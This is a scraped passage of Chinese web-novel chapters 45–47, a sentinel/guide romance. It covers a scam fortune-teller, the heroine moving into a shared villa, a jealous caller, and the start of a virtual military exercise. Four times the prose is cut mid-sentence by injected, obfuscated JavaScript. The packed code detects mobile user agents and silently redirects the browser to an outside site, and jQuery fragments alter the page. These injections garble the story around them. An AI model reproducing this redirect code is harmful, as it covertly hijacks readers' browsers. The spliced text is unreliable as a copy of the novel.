本来是认真送信的,但这个途中,突然发现商机,她发现,有的哨兵很迷信,特别相信这些所谓的占卜、许愿,她的第一单是胡诌来的,没想到,那人回头说:大师好厉害。 于是这行就这么干起来了,其实她都是让精神体复制出来,除去要送出去的,其余全烧掉,昨天留了一张,她没烧,应该是送错了。 侦察到有其他区域的网络在扫描这块,她机灵地起身收拾东西。 君子爱财:【占卜5000,许愿10000,多加5000,大师亲自为你答疑解惑。】 徐珊珊看着这消息,禁不住捂着嘴,笑倒在在夏广礼怀里,还不如信她是秦始皇呢。 至于那个购买服务的哨兵,其实可以直接和她本人说的,V她50来顿下午茶,本人为他答疑解惑,虽然她不是大师。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195292|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她卸下光脑,传给众人看,边笑边说:“看看现在的骗子。” 那纸人烧尽,只剩下一滩灰,手摸上去,一点余温也没有,地上没有任何痕迹。 她转了一圈,发现自己的光脑在宋晓宇的手上,也走过去看,弯腰看他,竟然盯着扩大的图片,上面是一些诱导性的话。 大概是三句话让向导为我意乱情迷。 眼睁睁看着他开始对话:【你这个背后的原理是什么?】 少女看见消息,翻了个白眼,原理?没有原理,她会给买家讲些车轱辘话,似是而非的,充当安慰剂,然后邮寄一小瓶矿泉水过去,大概喷上就能吸引注意吧。 全靠他们自己脑补,她也没想到,自己原本穷困潦倒,现在因为这门生意,竟然小有资产,就是得不停搬家。 真是的,她有些不忿,不都说了心诚则灵,最后事没办成,还来找她麻烦,多半是癞蛤蟆想吃天鹅肉。 害她老是要搬家。 徐珊珊见他和骗子聊得起劲,有来有回,那人也分析得头头是道,连她都觉得,自己好像是这么想的。 不过等宋晓宇回头问她时,断然否定了,将光脑捉回来,“你不要信这些,给别人送钱啦。” 她看解队和夏队都对这个不屑一顾,看来卖家是专门骗那些,比较迷信的哨兵,冤大头们。 徐珊珊:“别信这个,有事直接联系我。” 宋晓宇:“我可以有你的联系方式吗?” 他没有吗? 徐珊珊有些不解,他可以找夏广礼要啊,都是一个队伍的,难道这是不互通的吗? 夏广礼:“现在时间不早了,我先送你回去吧,联系方式,待会我告诉你。” 她站起身,准备往外走,宋晓宇也起身,“你加我吧。” “好。” 自己还没来得及插嘴,见两人联系上,夏广礼脸上不太妙,他的小动作挺多,又看向一旁的女人,选择隐忍不发。 解逸飞告诉她,做出这件事的人,早在通缉名单中,这种行为已经上报,后续会继续追查,发通报,请她别太担心。 夏广礼送她回营地,站在门口告别,男人叫住她,认真说:“你今天很美。” “如果有任何需要,随时来空战组。”他想说的是,请多麻烦他,让他发挥作用。 “谢谢啊,你也很帅。”她挥挥手,转身往里去。 45. 第 45 章 盛夏的尾音,最后一周以考核结尾,经过一个月的训练,所有考核项目,她都有惊无险地通过。 住了一个月的集体宿舍,大家要就此分开,收拾行李,大包小包,这一天,营地的大门开放,哨兵们在一楼会客厅等待,随着电梯下楼,起身帮忙拎行李。 各位向导今后要分派到所属队伍中。 徐珊珊也是如此,在演习期间,为了方便交流,也会与空战同吃同住。 阿瑞斯还是没联系上,但卡尔给她发来消息,是一条道歉语音,得知人没事,她给他放了几天假。 熟人都在这儿了。夏广礼、解逸飞、宋晓宇和洛朗、洛伦斯两兄弟,有人帮忙抗行李,她落得两手轻松。 大门口,室友三人只是挥手道别。 但有个意外到来的人,她明明提前和长官说过,不用他来接,周末不去他那儿住,眼前还是看到熟悉的车牌号。 问他有什么事,男人只说:“我来看看,万一有什么需要搭把手的。” 夏广礼:“不劳您费心了,我们会处理好的。” 男人又习惯性叮嘱了几句,她随口应下,潦草地道别:“长官再见!”说完就跟人上了车。 她扒在车窗边,往回看,山昊的眼睛,总觉得在他身上嗅到了一些孤寡老人的味道,从前每次回爷爷奶奶家探望,离家的时候,就是这样目送她离开。 车辆启动,她将头缩回来,看向坐在驾驶座的夏广礼,又嘻嘻哈哈起来,握拳挥动,自由自在的生活开始啦。 他们无缝将她接到了住处,因为有向导的缘故,整队申请离开哨兵宿舍,两队合资购置了新家。 它位于山腰上,草坪外有跑道,中心竖着攀登架,左处是训练场地,正中间是生活区。 挑空的一楼客厅,徐珊珊走进时,感到惊喜,还是第一次住大别墅,比实习那会儿,租的十平米出租屋强多了。 那是个隔断房,衣柜散发出甲醛臭味,通风极差,只有内窗,买了一箱活性炭也没用,更糟糕的是,几乎没有隔音,邻居打电话就像在她耳边播放一般,一人放歌,整个楼层都能听到。 她以为白塔的向导宿舍的条件就已经够好了,没想到还能有更好的。 随着夏广礼介绍,一路上楼,从露台看见底下的花园与泳池,居高临下地看笔直的道路和街景。 房子都是精装修好的,可以直接入住,但向导并没有挑中特意为她留的套房,而是选中更小,但窗外景观更好的那间房。 他们因此调整了一下住房分配,因为既要保证向导的安全,又要留出个人空间。 到这儿,有了规格完善的厨房,他们才有机会展示厨艺,几乎是争着下厨。 而徐珊珊则一头埋进房间里,兴奋地到处碰,躺在床上,房门敲响,“进来。” 她一下坐起来,原来是他们搬来其他设施,她好像说过,理想中的卧室应该是什么样的,没想到被记住了。 她提出想要一个玩偶,晚上抱着睡觉,但又没说要什么样的,众人就凭着自己的想象去选。 当然,在限定范围内选,什么常见的鲨鱼、北极熊、兔子、猫狗什么的当然是一键pass,要从队内的精神体种类去选。 但问题在于,仿真形状的鸟类不是长条形,浑圆一团不好抱,那咋了,小鸟也可以是棍状。 于是乎,一堆拉长身体,将翅膀、脚缩短的鸟类抱枕出现在她眼前,完全没了强大、威严、桀骜不驯,只剩下呆萌可爱。 它们被摆出来任她挑选,这些都是队员找厂家定做的,造型略有不同,在得知她答应的那一天起,就开始为这些做准备吧。 原先准备的房间很大,床、沙发都大,是为多人设置的,完全放得下,但这儿是单人间,没那么多地方摆放。 宋晓宇看着她在纸箱里挑挑拣拣,抬起来看了一眼,又放回去,黯然神伤,黑鸢玩偶脸朝下,缩在角落,并不断被其他玩偶淹没。 黑鸢背部生长着黑褐色羽干纹,腹部呈现棕褐色,从颜值上来说,并不显眼。 她好像对那两只蜜蜂玩偶爱不释手,圆头圆鸟小翅膀,头上戴花,还涂腮红,太可恶了。 他还是败了。 宋晓宇觉得自己走写实风是一个错误,谁说猛禽不能可爱的?那只猫头鹰不就是,肥美圆润,扁平的脸,一双大眼睛。 他的心情在向导挑出越来越多的玩偶,却都没选中他时急降,一想到她会抱着别人的玩偶睡觉,很难受。真是细节决定成败,早知道他也戴花了。 徐珊珊也很犹豫,房间里确实放不下这么多,在里面翻来翻去,也没看见玩偶熊,她最喜欢的,白色短绒毛身子,和粉红爱心熊爪。 也许是广告宣传,总觉得玩偶熊很憨厚可靠,陪睡一流,但没有,其次粉红兔子也行,还是没有,她还没有养成小鸡陪睡的习惯。 更怪的是蜻蜓、蝴蝶甚至是锹甲都来了,话说某些人不该进空战组吧,比起飞行,他们更喜欢走地。 比如某只紫蓝金刚鹦鹉,它竟然钻进玩偶箱里,假装自己是个棉花团子,但这手感明显不对,它的同伙还有一只,五彩金刚鹦鹉,从头到尾像一道彩虹。 这些作弊者被发现后,当然被无情地抛了出去,并对当事人给予警告。 她发现身后的声音渐渐停止,他们搬完家具,虽然还叫不全名字,她大致能分清精神体,见他们都看着自己,欲言又止。 她才反应过来,这是礼物,某种方式的示好,对吧? 那她还是对大家一视同仁吧,貌似烦恼道:“这床有点小,怎么摆啊……” 好心的哨兵们热情地出谋献策,她最终决定把床挪到墙边,这样可以两侧摆放,他们殷勤地将它们堆在床上,当然了这个位置也是很重要的,把自己的位置往前挪一下,合情合理。 宋晓宇是最后一个,大概因为他平时嘴臭、狂妄,和队内其他人关系一般,被落在后面,他自己捡起来,走到床边,却被向导接受。 她打了个哈切,用黑鸢公仔挡住脸,声音里带着困倦,“辛苦你们了,我想躺一会儿。” “好,那您好好休息,等饭做好了再叫您。” 一行人提起纸箱子、废置家具往外走,宋晓宇殿后,当他看见女人一跃上床,双腿弯曲,手中抱着他的玩偶,侧躺在床上,闭上眼睛时,感到分外满足。 他的这一行为,遭到了其他人的白眼,旁人直接拉住门把手,将门合拢,挡住他的视线。 他与打扰的人对视了一眼,让开了位置,房门合紧,自动上锁。 这让一旁观看的人有些失望,他还正等着这两人吵架,在向导面前拉低印象,他好上去说两句“公道话”,最好打起来。 但宋晓宇变了,自从上次失控,不仅自己被逮捕,失去了见面机会,还留下冲动印象,他觉得以前太鲁莽,以后有许多机会,不用急于一时。 人都走后,徐珊珊躺在床上,看着夕阳照亮瓷砖,她该没什么烦恼了,打开电视,让节目主持人纯正发音充当白噪音,眯着眼睛休息。 但一桩坏消息进入耳中,她皱眉看去,屏幕上报道的,关于土地、水源污染,影响饮食安全,变异生物频发,围墙外的人活在威胁中。 污染物可以派人清除,恶化的环境处理起来就麻烦了,哪怕只是往外扩张十公里,成本相当高。 哨兵们可以保卫基地不受污染物侵袭,城市兴起,人口繁衍,但地盘没法扩大,各方面的负担加重。 目前打算利用科技,扩展纵向空间,为市民提供公共服务。她看着屏幕,专家讲述的一个个缺口,要是能扩大面积就好了。 目前,在地图上的各个“绿洲”间,是大片的荒漠地带,死亡禁区,普通人轻易不离开塔,各个塔之间的交流、贸易规模都远不如从前,近乎于独立发展。 白塔因为地理优势,继承了灾变前的工业体系,因而发展为最全面、最繁荣的一座塔,而有的地方,已经全面退化,文明开倒车。 报道结束,广告时间,房门被敲响,她翻身下床,一同往外去。 从电梯走出来,众人分坐几张圆桌,也没动筷,都在等她。 也算是千呼万唤始出来,进餐前,先是庆祝的合照,他们搬家的第一天,以向导为对焦中心,将众人模样记下。 她笑得很开心,饭后,有机器人帮忙处理残余。 她坐了一会儿,拒绝了别人的邀请,单拉夏广礼,“有点事,跟我来。” 男人有幸荣焉,呆呆地被牵着走。 见他站在门口挠头,探头探脑的,一副矜持样子,她也感到奇怪,伸手招呼:“过来呀。” 男人没走两步,她又喊:“关门。” 两人坐在沙发上,她紧张地深呼吸,又闻门口有窸窸窣窣的响声,支使夏广礼让他们别偷听。 男人听话地将门外的人训走,站在门边,扭头往回看,只见女人从背包里翻找什么东西。 不知怎的,他有些紧张,又瞥了一眼床,只觉得上面的东西都很碍眼,吞了吞口水。 “过来。” 徐珊珊见他一直不说话,站着不动,拍了拍旁边的坐垫,却听见男人说:“你确定吗?” 他什么意思? 她终于从包里掏出一个小本子,这是从长官那儿拿回来的,她写了好几版开幕式的讲话稿,后天,周一就开始了,她想提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐珊珊:“我要洗个澡,晚上八点再见?” 见要赶他走,夏广礼有些不乐意,揽住她的腰,好不容易推开,再挣脱手,又像牛皮糖一样缠上来,她也只好顺着坐下,男人并拢双腿,她就坐在上面。 靠在胸前,她抬起男人的手,“给我看看。”他掌心的伤,好像许多哨兵都有,两人又坐了一会儿,她又想打发他离开时,发现他已经睡着了。 果然,其实她的精神体是蒙汗药吧。 听说这段时间,为了应对演习,他们都加班加点的训练,没有十二点之前睡觉的,六点准时起,也不想打扰他休息。 她的背包里还有换洗衣服,虽然衣柜里也有新买的,但还是习惯穿自己的衣服,走进沐浴间,将门合拢,打开浴霸。 淅淅沥沥的热水淋下,让黑色湿发都贴在后背,各种洗浴用品一应俱全,都是无香型,不用赶时间,她多洗了一会儿,换好衣服,吹干头发,往外走。 他还在睡,她起了坏心思,就去戳男人的眼睫毛,他只是眼皮颤动,然后扭头歪到另一边。 坏心眼的人终于被惩罚,他不知道突然抽了什么风,闭着眼睛往这边扑来,然后就被扑倒了,头恰好靠在扶手边。 “喂,”她戳了戳脸,“醒醒。” 真睡着了,这么困?她有些好笑,自己是搬起石头砸自己脚,但推也推不动,死沉的,见对方不乱动,她也平躺着发呆。 但太重了,她感到胸腔被压迫,呼吸变得困难,不禁推了推他,“夏广礼,醒醒。” 楼梯口传来“咚咚”声,她也没在意。 小伙子睡眠质量就是好,她直接拍脸,“醒醒,我要被你压死了。” 没想到危险来源于内部啊,她犹豫着要不要下狠手,见男人有了反应,她又加了几分力气,大声喊:“夏广礼!” 房门和男人一块醒了,他睁开眼睛,懵懂地撑着边沿,爬起上身,揉了揉眼睛,而她也听见了门锁响声,大喊:“我没事!” 她是了解他们的,要是她先尖叫后安静,这些人铁定要破门而入的,她还不想失去房门。 她在光脑上解开门锁,开门,于是门外的众人涌进来,首当其冲的是两位队长,看见两人都有些衣衫不整,房间内有湿热的水汽,胸前有一片红印,一副刚分开的样子。 要不是气味干净,几乎就要误会了。 徐珊珊有些意外,“我刚刚声音很大吗?怎么都来了。” 达伦摇头:“不大。”只是挡不住有人扒着房门细听。 46. 第 46 章 徐珊珊:“我没事,大家别担心。” 人群散开后,夏广礼疑惑地问她:“怎么了?”她解释经过,男人道歉:“抱歉,我睡得太熟了,下次可以把我喊醒。” “下次我可不会手下留情。” 假期补觉正常,但她的房间就不留他休息了,起身,背上挎包,站在门边,男人跟着起身,“你要去哪儿?” “看电影。” 她怀疑他真的睡懵了,男人去卫生间洗了一把脸,跟在她身后,“想看什么?” “不要你和我去。” 男人错愕,水沾湿眉毛,他摸不着头脑,不是说好了一起吗?怎么突然改变主意? 刚才两人靠太近,手脚酥麻,又不是在疏导,她想独处,决定抛下这个观影搭子。 “我想一个人待着。” 她拧开房门,楼梯旁还杵着一个人,她想,等卡尔好了,就住楼梯口,替她看门。 经由电梯,她来到负一楼,来回找了两圈,才找到隐藏在角落的私人电影院。 环境凉爽,她步入其中,伸手不见五指,夏广礼找到配电室,推开电闸,灯光骤亮,三排沙发椅高低错落。 她在挑选影片,外面一阵砰砰响,好似爆竹声。 资源加载中,她坐好,夏广礼走进来,抱着爆米花、可乐,关拢门,挨着她坐下,将零食桶递给她。 随着影片播映,灯光自动熄灭,视线聚焦于大荧幕。 这是一部公路片,讲述一支运送物资的车队,在污染区历经波折,最后将重要物资送达居民点的故事。 这片子有年头了,拍的是灾变刚发生时,许多居民被迫滞留家中,这场全球性灾难,让秩序毁于一旦。 重建是漫长的工作,前人做了无数努力。 演到剧中煽情处,必要的牺牲,夏广礼见她哭了,伸手想握她的手,响铃声逐渐扩大,她从下方抽出手,寻找光脑。 最后发现戴在手腕上,铃声盖过对白,屏幕发光,她低声道歉:“不好意思,我出去一下。” 她弯腰,往门口走去,在荧幕上留下黑影,挎包里有个绿灯扑闪,电子设备启动中。 夏广礼按下暂停键。 天已经彻底黑了,她走到天井下,在桌旁坐下,仰望繁星,接通电话:“喂。” “晚上好……你之前给我打电话,有什么事吗?” 是阿瑞斯,声音洪亮,中气十足。 他终于回电话了,应该是这几天都没碰光脑,既然他人没事,她想尽快回去:“没事,我挂了。” “诶、诶,等一下——” 和他的预期有点差别,阿瑞斯连忙出声挽留,不舍得挂断,好像听到她的声音,就能让人欢喜。 他刚出来,看到光脑时,一连串的通讯,既惊又喜还忧。 焦虑她的兴师问罪,高兴在她主动关心,担心万一她有事求助,却拨不通他电话。 他急忙回拨,好消息是,她没事,坏消息是,也没他的事。 阿瑞斯:“你不想知道最近我在哪吗?” 她脱口而出:“不关我的事。” 朋友间也该留出私人空间,不能多管闲事,干涉隐私,特别是异性之间。 不关她的事。阿瑞斯在脑中咀嚼这句话,她不在意,紧接着,听筒中传来人声,两个男人对话。 徐珊珊:“我现在有点忙,不好意思啊,先挂了。” 阿瑞斯赶在电话挂断前开口:“明天,你可以来看我吗?” 徐珊珊:“不行,我有别的安排。” “那我去找你?” “不行。”她来这儿是客,又不是真的自己家,不能随意邀客。 男人沉默了一瞬,似乎有点委屈,柔声细语:“可是我想你。” “……” 她一转身,看见夏队和宋晓宇两个人站在大厅内聊天,不知道声音会不会外漏,她本想说:那你就想吧。 似乎感同身受般,自己当初,太依赖前男友,可能也给他造成了类似的烦恼。 迷恋、神化、赋魅,无法自控,将幸福寄托于一段关系。她感到同情、惋惜。 “小狮子也想你了。” 她叹了一口气,松口,“我想想看。” 她明天要去蛇队,王蟒好得差不多了,因为他要参加演习,所以再做一次疏导。 非要抽空,也不是不行,就是行程上有点赶。 等久了的两个男人往这边来,夏广礼先声开口:“谁啊,大半夜打电话来。” 她比了个嘘声的手势,他还是听到了,阿瑞斯憋着一股气,知道她周末要去别人那儿住,但始终没轮到他。 这个人的声音,还和上次的不一样。 他将牙咬得咯咯响,心一沉,妒火冲天。 被人一打扰,她的思绪乱了,只想着应付了事,敷衍了几句,最后还是借口忙,等有空了再聊,不待他挽留,匆匆挂断电话。 “嘟、嘟、嘟——” 哨兵宿舍,一局游戏结束,得空抬头的佛尔克,捏着嗓子调侃:“小~狮~子~也~很~想~你~” 他嘿嘿笑了一下,却发现没人应和,一阵死寂,邵江队长不赞同地咳了两声,不对劲。 他谨慎地摘下耳机,将平板放进枕头,当做无事发生。队长之前还欢天喜地、喜笑颜开的,怎么突然,精神气全被抽掉了。 佛尔克:“队长你还好吧。” “没事。”男人挥门而去。 他这样不像没事,佛尔克看向副队,以为他是做了什么惹人厌了,可以一块商量。 副队只是摇头,让他们别插手,阿瑞斯只是需要一点时间,去接受现实。 他只是看上去,好似很大方,说着什么:“我可以做小三。”其实心里面在意得不得了。 以色诱人是他最不该走的一条路,但他走了,这倒算了,问题在于这条路行不通。别人不好色怎么办? 其实阿瑞斯对这方面很敏感,从两人刚认识时就是这样了。 连带着父亲一起被抛弃的过往。 医院。 金发卷发凹在枕间,头顶冒出一片指甲大的绿叶,男人躺在病床上,睁开眼睛,他的手被固定,注射液沿着针头,一点一滴汇入手臂静脉。 她应该是不小心摁下了通讯器,他无需操作,自动接听,扩大收音,因而听到了全程。 这本是为了保障她的安全,有任何意外,他能第一时间得知,及时赶到。 作为经常陪在她身边的人,他大概能分清说话的人都是谁,通话对象、旁边的两人,都是熟人。 整个过程他一直保持静默,听她和别人聊天。 直到她发现了开启的通讯器,试探性地打招呼,没得到回应,只道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211193|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己不小心,夏队安慰她,断开连接。 医院病房十点熄灯,他闭上了眼,像这样的人是不会少的。 接连发生两件意外,徐珊珊的难过劲头也散了,处理好后,坐回座位,将最后一个钟的影片看完。 影片终局,人员散场,因为她一直坐着没动,眼朝荧幕,却没有聚焦,灯光亮起,她还是直视前方。 徐珊珊:“你知道卡尔为什么住院吗?” 话刚说出口,她就后悔了,也许是她想多了,况且,夏广礼怎么会知道呢? 没想到男人传来笃定的回答:“如果没出任务,精神状态也比较稳定的话,一般是因为暴力。” “你说的是一直跟在你身边的那个?” 她点头答是,寻思自己派卡尔去摘草莓,应该不算什么高难度任务,会导致他重病。他被派给自己做下属,也不会突然安排别的事。 精神状态,天天跟在她身边吸向导素,怎么说也差不到哪里去。至于暴力,卡尔性格和善,不是那种会主动攻击别人的人,她还没听过他骂人一句。 如果他和别人起冲突,她一定会觉得是别人先挑事。 夏广礼:“他既然做了你的警卫员,就不该再去和别人打架了。” 比起结果,她更关注原因,为什么? “他是被猫科联队的队长,阿瑞斯打伤的,至于攻击者,也因为违反条例被抓了关禁闭。” 是另一个声音,她惊讶地扭头看去,是宋晓宇,他不知何时坐在那儿的,不敢置信地确认:“你确定吗?” “对。” 宋晓宇边说边起身,绕过过道,来到前排座椅,坐在女人的另一侧。 他将现场情况讲明,这不算什么秘密,也称不上什么新闻,哨兵斗殴是常有的事,也没人会在意。 被偏爱的人承担更多的嫉恨,只愿得一人心,那那个人最好命足够硬。 在众多情况中,所有或者一无所有是最不能被接受的, 见她困惑,真情实意地不解:“为什么?” 宋晓宇性子也直,直接说道:“我猜是因为您。” “因为我,怎么可能?” 她想不清楚自己有什么魅力,这让宋晓宇哑口无言,不禁想问:你是认真的吗?联想到她的来历,只得感慨这就是命。 徐珊珊低下头,没法理清其中的逻辑,不敢相信地看向夏广礼,她更信他多些,“你也是这样想吗?” 男人没有视线躲闪,他只是不想挑明,让她徒增烦恼。 夏广礼:“他们之间唯一的联系就是你。” 是她导致两人打架? 她感到委屈,夏广礼看出来,接着安抚:“这不是你的错,哨兵的劣根性,无视即可。” 但事情不是无视就能解决的,她不想任何人因她而受伤,特别是这种,没有正向意义的。 “我应该怎么做?” “我能怎么做?”她喃喃自语道,又像是希望他们给出一个答案。 夏广礼:“等演习结束就好了,他们会被分派任务,出塔,到时候就见不到面了。” “或者你们一起住我们这儿。” 图穷匕见,夏广礼瞥了一眼,他说这小子怎么这么好心,帮人“伸张正义”,但他也没反驳。 至于向导小姐,她既没同意,也没拒绝,若有所思地回到房间睡下。 47. 第 47 章 练洛一抵达时是周一,中央广场上空,巨大屏幕中,播放着最新的军演消息,阳光洒在古铜色皮肤,脸颊肉紧贴骨头。 他们有了暂居证,需要在六周后的考核,确定是否能进入工作。 听闻路上行人说,大部分人员都会参加,他们停驻在路边,想一睹风采,听说克拉拉和那位好心的向导也会参加。 他们试图在画面中,寻找熟悉的面容。 徐珊珊在台上致辞结束,作为向导的代表,坐在展台一侧,等着总指挥宣布演习开始。 不知不觉间,肘窝被轻点,她转头看去,长官示意她下去,一会儿介绍参演队伍时,需要对各指挥官和随行向导进行介绍。 她弓着腰,从铺着红布的桌子退下,走到幕后,兴奋劲还没下来,刚才往下看,数千人,心仍砰砰跳,紧张地问:“我表现得怎么样,有没有说错字?” 山昊:“你做得很好。”他指向左侧的甬道,“他们在下面等你,去吧。” 直到轩昂的鼓乐奏起,她才意识到,演习真的开始了,自己正身处恢弘的大场面,但因为事先排练过,对镜头脱敏了。 “那我走了。” 她告别长官,沿着台阶,往下方走去,果然在尽头见到夏广礼等人。 她激动地一路小跑过去,仰着头,给了他一个大大的熊抱,手放在背部,面料粗硬,一行人往外去。 在单位介绍时,众人列队出场,向导们坐在车里,每当介绍到她们时,便挥手问好,应时响起掌声。 人声像浪潮一般,此起彼伏。 从服饰上,很好区分二者的区别,她还没想过,有这么多哨兵。 又经过揭幕、点火、集体宣誓等仪式,开幕式宣告落幕。 车辆载着她抵达目的地,一座阔大的大楼,抵达对应楼层,里面放置着数座虚拟设备,巨大的玻璃竖管整齐摆列。 众人穿戴好传感装置,耳边又传来细碎叮嘱,她先踏入设施中,闭上了眼睛。 黑暗,突然出现的倒计时,她知道自己应该抽离了,随着倒计时结束,色彩重现。 这是一片贫瘠高原,只有裸露岩石、碎石,陡峭崖壁的缝间长出杂草。 没过一会儿,其他人也登录进来。一队和二队是两支独立的队伍,被投到不同地区,目前还没联系上。 空战组的计划是,由二队辅佐,她从起始就与一队一块,一直到最后夺冠。 安全范围很大,各队伍在最初不会相遇,危险更多来自野外污染物。一进来,他们立刻改变了状态,分配了队员不间断巡逻。 她体验过鹰眼,高清视野、动态追踪、全方位无死角、远距离识别、抗炫光……只能说羡慕。 他们探索了一中午,但缩圈消息得来,很遗憾,他们不再圈内。得在特定时间赶到安全区,那时,这片区域的污染程度会上升,污染物数量也会迅速增长。 但夏广礼他们还是漫步闲庭地,搭着帐篷哼着歌,达伦队长在警示周围,她似乎闲了下来。 事情远没有那么顺利,女人坐在岩石表面,篝火旁,火焰倒映在她的脸上,不远处就是越野车,彩装速干衣贴合身体。 夏广礼将口粮搬出,砖头一般大的塑料包装食物块,口味不一,撕开包装袋,里面有各种小袋食物,和一个自热包。 夏广礼:“你想吃什么?有鱼肉、牛肉、压缩饼干、面包、土豆泥、炖排骨、火腿炒面、炒鸡蛋、巧克力棒、可可粉、咖啡……” 单兵口粮的口味有二十多种餐谱,如果她不喜欢,后备箱里还有罐头, 一个火架被置于篝火上,自热小火锅开始发热,他们还有闲心煮小火锅吃,生火的热源会暴露队伍所在位置。 还真是艺高人胆大。 夏广礼安排晚餐,首先要考虑到向导的感受,山上风大,夜里很冷,一会儿太阳要落山了。 黑夜更加危险,大多人的夜视能力都普通,也有能在夜中视物的队员,他的精神体是猫头鹰。 现在主要面临污染物的威胁,光源、取暖都是有必要的。 男人从锅中捞出面条,盛进碗里,接着是肉饼,估摸着不烫了,再交给她。 地面的石子在滚动,她还没接,就听见高空金雕传来的厉声警告,这个声音,是有污染物。 “没事,他们会处理的,吃吧。” 她没看到污染物,只见几只鸟垂直起飞,往山坡的另一边去。这时,不需要她帮忙,队里人这么多,她明白,她的任务不在此时。 徐珊珊接过塑料饭盒,举起叉勺,开吃起来。 水沸腾发出咕噜咕噜的冒泡声,夹杂着远处不明生物发出的咆哮,她吃的时候,被吼得手抖,抬头望去,想象那处的场景。 夏广礼没有离开,还有两名哨兵站着,负责警戒,陪着她进食,不时讲两句玩笑话。 “你们不吃吗?” 两人谢绝了她的好意,夏广礼四处环视,笑道:“不用紧张,坐下来,一起吃。”他们才坐下来,先前应该是拘谨。 她和一队熟悉程度比不上二队。 她吃饱了,分量太大,不可能吃完,剩下的夏广礼拿过去,接着吃。 她站起来,在高处看,远处的剪影,看不清晰,它们的动作迅敏,先前远处偷袭,已命中要害,现在不过是负隅顽抗。 但那巨物庞大,身上处处碎裂,落下来的东西,砸到地上,比树干都粗。 猛禽是空中刺客,靠高速俯冲,一击毙命,否则,就得来回放血,它们最常用的是弯钩状利爪。 “嗬嗬——” 她紧张地发现,一只鸟在空中落旋,翻滚着摔到地上,心提了起来,在那找寻它的身影,才发现它没被砸中,又飞了起来。 一直到队员战归,聚在一块,达伦扫视了方圆几公里,没有其他威胁,才轮换排班,来到篝火边。 徐珊珊坐到车里,给他们腾出位置,翻出地图,那上面已经有了一个圆圈标记,正是他们所在之处,位于西北的荒原,离这里最近的补给点,在五十公里外。 她注意到,这些参战人的态度冷淡好些,明明早晨还笑着,回来时就面无表情了,也不愿互动,偏坐一旁,默默啃食。 污染对哨兵的影响相当明显。 屏幕外,许多人时刻关注着每支队伍的行迹,空战组的队伍,作为老牌强队,当然备受关注。 甚至半天不到,已经有人重伤出局了,他们从全息仓中醒来,被紧急送往医院。 夜里确实很冷,她又翻了一件冲锋衣套在身上,凉风吹在身上,叫人走不动路。 她见一个状态不好的哨兵起身,也跟了过去,他显然有些怔住了,走到一块大石头后面,直到女人发声才发现她在后面,放下两手。 徐珊珊:“你想去哪?”教导员教的是,让她们多关注,比较沉默寡言或者暴戾冲动的哨兵,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218477|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免他突然变成怪物。 “我……上厕所。” “奥,好的。”她点头,往回走,“待会和我坐一会儿好吗?” “好,好。” 见没事,她转身往回走,靠在门边的夏广礼见她回来,停下脚步,打开车门,翻找毯子、枕头。 夏广礼将后排座椅放倒,“这里光脑没信号,这是无线电通讯器,晚上你睡车上。” “你们呢?” 夏广礼:“我们睡帐篷里。” 见她吸鼻子,他又从后备箱里掏出其他保暖物品。徐珊珊踩在踏板上车,男人倚靠在车门边,“晚上要我陪你睡吗?” 她瞪大了眼睛,他在说什么虎狼之词? 徐珊珊:“有这个必要吗?” “晚上很冷的,这里海拔高。” 她十动然拒,“我知道你们很暖和,但我真的不冷,”话刚说完,就打了个喷嚏,拆台是吧。 夏广礼:“应该只有七度左右。” 此时,那个哨兵回来,问到向导位置,搭在窗边问候:“请问您找我有什么事?” 她拍了拍椅面,开口道:“上来。” 上去,他吗? 他看向挡在入口的副队,问了声好,拨开他上车,坐到向导身边,忐忑地打招呼:“您有事吩咐?” 夏广礼看了两人一眼,“肖寒陪你也行。”算是默许。 她白了一眼,但见他手指扣紧,怕小兄弟误会,“不要乱说话,我是想和他聊会天。” 她摁下门框上的按钮,车门合拢,制造出两人的私人空间。 “你是不是不太舒服?” 他犹豫了一下,承认了,以前队内没有向导,所以也没想过要请人帮忙,不过不是很严重,忍忍就可以了。 “把你的精神体放出来。” 他听见向导小姐这样说,她愿意是最重要的事,哨兵是不能强迫向导做疏导的,但即使什么都不做,只是待在身边,被动释放的向导素,像缓释剂。 “要是难受的话,你可以靠在我身上。” 她把小蘑菇放出来,见男人的手背绷紧,汗珠渗出来,轻声喘息,一道白光似乎在面前飘现,这是什么? 